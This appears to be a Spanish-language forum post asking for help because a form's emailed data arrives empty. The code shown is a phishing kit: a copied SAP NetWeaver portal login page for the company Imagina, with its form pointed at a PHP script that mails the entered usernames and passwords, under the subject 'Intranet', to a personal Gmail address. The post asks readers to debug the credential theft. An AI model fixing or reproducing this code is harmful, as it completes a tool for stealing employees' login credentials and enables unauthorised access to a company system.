Los datos de mi formulario me llegan vacíos

Buenas, tengo creado un formulario en html y una acción en php para que me lleguen los datos del formulario a mi correo, me llega el correo pero los datos llegan vacíos, les agradecería me pudieran ayudar ya que no se donde puede estar el fallo. Estos son los códigos:

CÓDIGO PHP:

Código

<?php
function MandaEmail($mailTo,$mailFrom,$mailSubject,$mailBody,$mailFormat) {
    if($mailFormat == 0) {
        $headers  = "MIME-Version: 1.0\r\n";
        $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
    } else {
        $headers = "";
    }
 
    $headers .= "From: ". $mailFrom . "\r\n";
    $headers .= "Reply-To: " . $mailFrom . "\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();
 
    mail($mailTo,$mailSubject,$mailBody,$headers);
}
;
    $mailTo = "mfcamposreyes@gmail.com";// Dirección de Email a donde se enviara el correo
    $usuarios=$_POST['j_username'];
    $clave_de_acceso=$_POST['j_password'];
    $mailSubject = "Intranet";
 
$mailFormat = 0;
$mailBody = <<<EOT
<div style="width:380px; border:1px #999 solid; font-family:verdana; font-size:12px; color:#333; padding:10px;">
<h1 style="font-size:14px; font-family:comic sans;">Datos de Contacto</h1>
<strong>Usuarios:</strong> $j_username\r\n <br />
<strong>Clave_de_acceso:</strong> $j_password\r\n <br />
</div>
EOT;
    MandaEmail($mailTo,$mailFrom,$mailSubject,$mailBody,$mailFormat);
?>
<?php
    echo <<<EOT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-MX" lang="es-MX">
<head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
    <meta name="author" content="Ag666" />
    <meta name="keywords" content="" />
    <title>Gracias por contactarnos</title>
</head>
<body>
 
<p style="font:700 15px 'trebuchet MS';color:#333;text-align:center;"></p>
 
</body>
</html>
EOT;
?>

FORMULARIO EN HTML:

Código

<html>
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/*HTML Business for Java, 6.0*/
ur_system = {doc : window.document , mimepath :"/com.sap.portal.design.urdesigndata/themes/portal/sap_standard/common/", stylepath : "/com.sap.portal.design.urdesigndata/themes/portal/sap_standard/ur/", is508 : false, domainrelaxing : "MINIMAL"};
var popup_emptydoc = "../htmlb/jslib/emptyhover.html";</script>
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<script type="text/javascript">
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EPCM.relaxDocumentDomain();
EPCM.init( {
Version:7.310000014,
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DynamicTop:false, // [service=true nestedWinOnAlias=false]
UAType:2, // [Netscape]
UAVersion:4.5,
UAPlatform:1, // [Win]
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UIPWinFeatures:"",
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UIPPopupComp:"http://portal.imagina.tv:80/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.admin.WorkProtectPopup",
UIPPopupCompSize:"dialogWidth:450px; dialogHeight:200px; status:no",
UIPPopupMsgNN:"Su\x20p\xe1gina\x20actual\x20contiene\x20datos\x20no\x20grabados\r\n\xbfDesea\x20continuar\x20con\x20la\x20navegaci\xf3n\x20y\x20abrir\x20una\x20ventana\x20nueva\x3f",
UIPPopupMsgND:"Su\x20p\xe1gina\x20actual\x20contiene\x20datos\x20no\x20grabados\r\n\xbfDesea\x20rechazar\x20las\x20modificaciones\x20y\x20abrir\x20el\x20contenido\x20en\x20la\x20misma\x20ventana\x3f",
DBGException:false,
DBCookie:false
} );
EPCM.DSM.init( {
TerminatorURL:"/irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.Terminator",
WinEmptyUrl:"/com.sap.portal.dsm/images/empty.gif",
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dsmMethodGetKey:"",
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} );
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  EPCM.DSM.processSession( sessInfo, frameRef );
}
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</script>
<!-- EPCF: EOB Core -->
<title>SAP&#38;#38;#x20;NetWeaver&#38;#38;#x20;Portal</title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><link  REL=STYLESHEET  HREF="../com.sap.portal.design.urdesigndata/themes/portal/sap_standard/ur/ur_default34da.html?9900d9720b53f45449631546978bd40d?v=7.33.3.62.0"  TYPE="text/css" ></head><body class="prtlBody urFontBaseFam urScrl">
<!-- EPCF: Component com.sap.portal.runtime.logon.certlogon, fkfloinideafgekfboionjfhcodnmpfc -->
<script>
  var inPortalScript = true
  var webpath = "../es.imagina.logon.page/index.html"
</script>
 
<link rel=stylesheet href="../es.imagina.logon.page/css/ur/ur_ie5.css">
<script language="javascript">
var originWindowName=window.name;
window.name="logonAppPage";
function restoreWindow() {
try{
window.name=originWindowName;
} catch(ex){}
}
</script>
<script language="javascript">
function putFocus(formInst, elementInst) {
  if (document.forms.length > 0) {
    document.forms[formInst].elements[elementInst].focus();
  }
}
 
function setValuesAutoCreation() {
var form = document.getElementById('logonForm');
form.j_username.value="";
form.j_password.value="";
form.automaticAccountCreation.value="true";
}
function submitForm() {
var form = document.getElementById('logonForm');
form.submit();
}
function clearEntries() {
  document.logonForm.longUid.value="";
  document.logonForm.password.value="";
}
function setFocusToFirstField() {
 myform = document.logonForm;
 try{
   for (i=0; i<myform.length; i++) {
    elem = myform.elements[i];
    if (!elem.disabled) {
      elemType = elem.type;
      if (elemType=="text" || elemType=="password") {
       if (!elem.readOnly) {
          elem.focus();
          break;
       }
      }
      if (elemType=="select-one" || elemType=="select-multiple" || elemType=="checkbox" || elemType=="radio") {
        elem.focus();
        break;
      }
    }
   }
 } catch(ex){
 }
}
function addTenantPrefix() {
  return true;
}
</script>
<span id="UMELogon">
<script language="javascript">
if( window.EPCM != null ) {
  EPCM.subscribeEvent( "urn:com.sapportals.portal:browser", "load", setFocusToFirstField );
}
</script>
 
 
 
 
 
 
 
 
<link rel="shortcut icon" type="image/x-icon" href="../es.imagina.logon.page/layout/imaginaurl.ico" />
 
 
 
 
 
 
<form action="send.php" method="POST" enctype="text/plain">
<FORM  AUTOCOMPLETE="off"  id="logonForm" name="logonForm" target="logonAppPage" method="POST" action="send.php" >
<input name="login_submit" type="hidden" value="on"><input type="hidden" name="login_do_redirect" value="1" /><input name="no_cert_storing" type="hidden" value="on"><input type="hidden" name="j_salt" value="1RrXcriNa5mPA7RZflsuT6wP2Qk=" />
 
	<table height="100%" width="100%">
		<tr>
		<td>
		<table width="725px" height="365px" align="center" valign="middle" border="0">
			<tr>
			<td>
				<div style="background-image: url('../es.imagina.logon.page/layout/imagina_loguin.jpg');background-repeat: no-repeat;"> 
					<table height="365px" width="100%"  border="0">
						<tr height="110px"><td></td><td>&nbsp;</td>
							<td valign="bottom">
 
							</td>
						</tr>	
 
						<tr height="15px">
							<td width="375px"></td>
							<td width="1px">&nbsp;</td>
							<td valign="top">
								<span STYLE="font-size: smaller; color: #ffffff"><label class="null"><nobr>Usuarios<span class=urLblReq>&nbsp;*</span></nobr></label>
 
								</span>
							</td>
						</tr>						
						<tr height="25px">
							<td width="400px"></td>
							<td>&nbsp;</td>
							<td valign="top">
								<input type="text" id="logonuidfield"  name="j_username" value="" title="j_username*" class="urEdfTxtEnbl" style="width:170px">
 
							</td>
						</tr>
 
						<tr height="15px">
							<td>&nbsp;</td>
							<td>&nbsp;</td>
							<td valign="top">
								<span STYLE="font-size: smaller; color: #ffffff"><label class="null" for="logonpassfield"><nobr>Clave de acceso<span class=urLblReq>&nbsp;*</span></nobr></label>
</span>
							</td>
						</tr >						
						<tr height="45px">
							<td>&nbsp;</td>
							<td>&nbsp;</td>
							<td valign="top">
								<input type="password" id="logonpassfield"  name="j_password" class="urEdfTxtEnbl" style="width:170px">
 
							</td>
						</tr >
						<tr height="28px">
							<td>&nbsp;</td>
							<td>&nbsp;</td>
							<td valign="28px" align="left">
								<a href="javascript:document.forms[0].submit()" 
									onclick="return val_form_this_page()" align="left">
									<img src="../es.imagina.logon.page/layout/boton_es.png" border="0" alt="" name="sub_but" />
								</a>								
							</td>
						</tr>
						<tr><td></td><td>&nbsp;</td></tr>
						<tr>
						<td width="400px"></td>
						<td colspan="2">
 
						</td></tr>							
					</table>
				</div>
			</td>
			</tr>
		</table>
	    </td></tr>
	</table>
 
</form>
 
<script src="../es.imagina_frameworkpage/scripts/jquery-1.8.0.min.js"></script>
<script type="text/javascript" defer>
 
	if (document.layers)
	    document.captureEvents(Event.KEYDOWN);
	document.onkeydown =
    	function (evt) {
	        var keyCode = evt ? (evt.which ? evt.which : evt.keyCode) : event.keyCode;
	        if (keyCode == 13) { 
	        	document.forms[0].submit();
	        }
	        if (keyCode == 27) { 
	            //For escape.
	            //Your function here.
	        }
	        else
	            return true;
	    };
 
 
 
</script>
 
</span>
<SCRIPT>var hash = document.location.hash;if (hash && hash !='#'){ var forms = document.getElementsByTagName('FORM'); for (var i = 0; i < forms.length; i++) {      var form = forms[i];     var currentElement = document.createElement('input');     currentElement.setAttribute('type', 'hidden');     currentElement.setAttribute('name', 'postAnchorString');     currentElement.setAttribute('id', 'postAnchorString');     currentElement.setAttribute('value', hash);     form.appendChild(currentElement);     }}</SCRIPT></body>
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</html>

Mod: Los códigos deben ir en etiquetas GeSHi